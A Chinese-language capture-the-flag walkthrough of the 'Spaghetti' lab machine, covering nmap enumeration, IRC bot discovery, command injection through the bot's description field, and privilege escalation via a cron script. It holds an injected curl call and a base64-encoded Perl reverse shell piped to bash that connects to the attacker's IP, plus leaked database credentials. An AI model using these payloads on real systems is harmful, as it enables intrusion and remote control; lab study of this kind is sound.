Spaghetti pg walkthrough Intermediate

nmap

┌──(root㉿kali)-[~]
└─# nmap -p- -A 192.168.170.160
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-27 04:45 UTC
Nmap scan report for 192.168.170.160
Host is up (0.072s latency).
Not shown: 65530 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
|   256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
|_  256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
25/tcp   open  smtp    Postfix smtpd
| ssl-cert: Subject: commonName=spaghetti.lan
| Subject Alternative Name: DNS:spaghetti.lan
| Not valid before: 2021-03-09T11:39:07
|_Not valid after:  2031-03-07T11:39:07
|_smtp-commands: spaghetti.lan, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
|_ssl-date: TLS randomness does not represent time
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Spaghetti Mail
6667/tcp open  irc
| irc-info:
|   users: 2
|   servers: 1
|   chans: 1
|   lusers: 2
|   lservers: 0
|   server: irc.spaghetti.lan
|   version: InspIRCd-3. irc.spaghetti.lan
|   source ident: nmap
|   source host: 192.168.45.250
|_  error: Closing link: (nmap@192.168.45.250) [Client exited]
8080/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
| http-title: Postfix Admin - 192.168.170.160:8080
|_Requested resource was login.php
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=11/27%OT=22%CT=1%CU=32525%PV=Y%DS=4%DC=T%G=Y%TM=674
OS:6A4EE%P=x86_64-pc-linux-gnu)SEQ(SP=FC%GCD=1%ISR=100%TI=Z%CI=Z%II=I%TS=A)
OS:SEQ(SP=FC%GCD=2%ISR=100%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M578ST11NW7%O2=M578ST
OS:11NW7%O3=M578NNT11NW7%O4=M578ST11NW7%O5=M578ST11NW7%O6=M578ST11)WIN(W1=F
OS:E88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M
OS:578NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T
OS:4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+
OS:%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Network Distance: 4 hops
Service Info: Hosts:  spaghetti.lan, irc.spaghetti.lan; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
HOP RTT      ADDRESS
1   69.92 ms 192.168.45.1
2   69.90 ms 192.168.45.254
3   70.89 ms 192.168.251.1
4   71.04 ms 192.168.170.160

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 275.56 seconds

80端口 页面 感觉没啥东西 dirsearch扫了一下也扫不到啥

8080端口比较有意思 是个php登录页面



还暴露了版本



上网搜了一下能找到源码

https://github.com/postfixadmin/postfixadmin

dirsearch扫到了一个很有意思的文件



读了一下他页面的内容说是这里可以生成生成一个密码的hash值 感觉好像没用 要将这个hash值配置到config.inc.php 才能用

我们没法配置config.inc.php 所以用不了

感觉也没啥可利用的

那么我们再来看看6667端口的irc

https://book.hacktricks.xyz/network-services-pentesting/pentesting-irc

在hacktrick的指导下知道了admin 的邮箱

ADMIN

之后我们查看频道

LIST



加入这个频道之后他会给我们一个用户join #mailAssistant

尝试给这个用户发消息privmsg #mailAssistant hello



privmsg spaghetti_BoT !command

看看他的回应



给出了一个github链接privmsg spaghetti_BoT !about



访问发现存在漏洞 rce



经过本地调试发现rce成功

PRIVMSG spaghetti_BoT email:hostmaster@spaghetti.lan description:nihao;curl 192.168.45.250



反弹shell开始

PRIVMSG spaghetti_BoT email:hostmaster@spaghetti.lan description:nihao;echo cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxOTIuMTY4LjQ1LjI1MDo4MCIpO1NURElOLT5mZG9wZW4oJGMscik7JH4tPmZkb3BlbigkYyx3KTtzeXN0ZW0kXyB3aGlsZTw+Oyc= | base64 -d | bash #

反弹成功太不容易了



找到mysql



用户和密码postfixadmin:P4s8vV0r6 连连看

爆破看看 能不能爆破出admin的密码



很不幸没爆破出来

看看定时任务有些啥鬼东东吧

看看这脚本在干啥

点击查看代码

#!/bin/bash
#Adapt to your setup

POSTFIX_DB="postfixadmin"
MYSQL_CREDENTIALS_FILE="/root/postfixadmin.my.cnf"

REPLY_ADDRESS=noreply@spaghetti.lan

# Change this list to change notification times and when ...
for INTERVAL in 30 14 7
do
    LOWER=$(( $INTERVAL - 1 ))

    QUERY="SELECT username,password_expiry FROM mailbox WHERE password_expiry > now() + interval $LOWER DAY AND password_expiry < NOW() + interval $INTERVAL DAY"

    mysql --defaults-extra-file="$MYSQL_CREDENTIALS_FILE" "$POSTFIX_DB" -B -e "$QUERY" | while read -a RESULT ; do
        echo -e "Dear User, \n Your password will expire on ${RESULT[1]}" | mail -s "Password 30 days before expiration notication" -r $REPLY_ADDRESS  ${RESULT[0]}
    done

done

好吧我的bash脚本能力有限有点看不懂这是在干啥 大概感觉是提醒密码过期用户的脚本

只好看看wp咋搞了

可以直接注入命令

等待命令执行

提权成功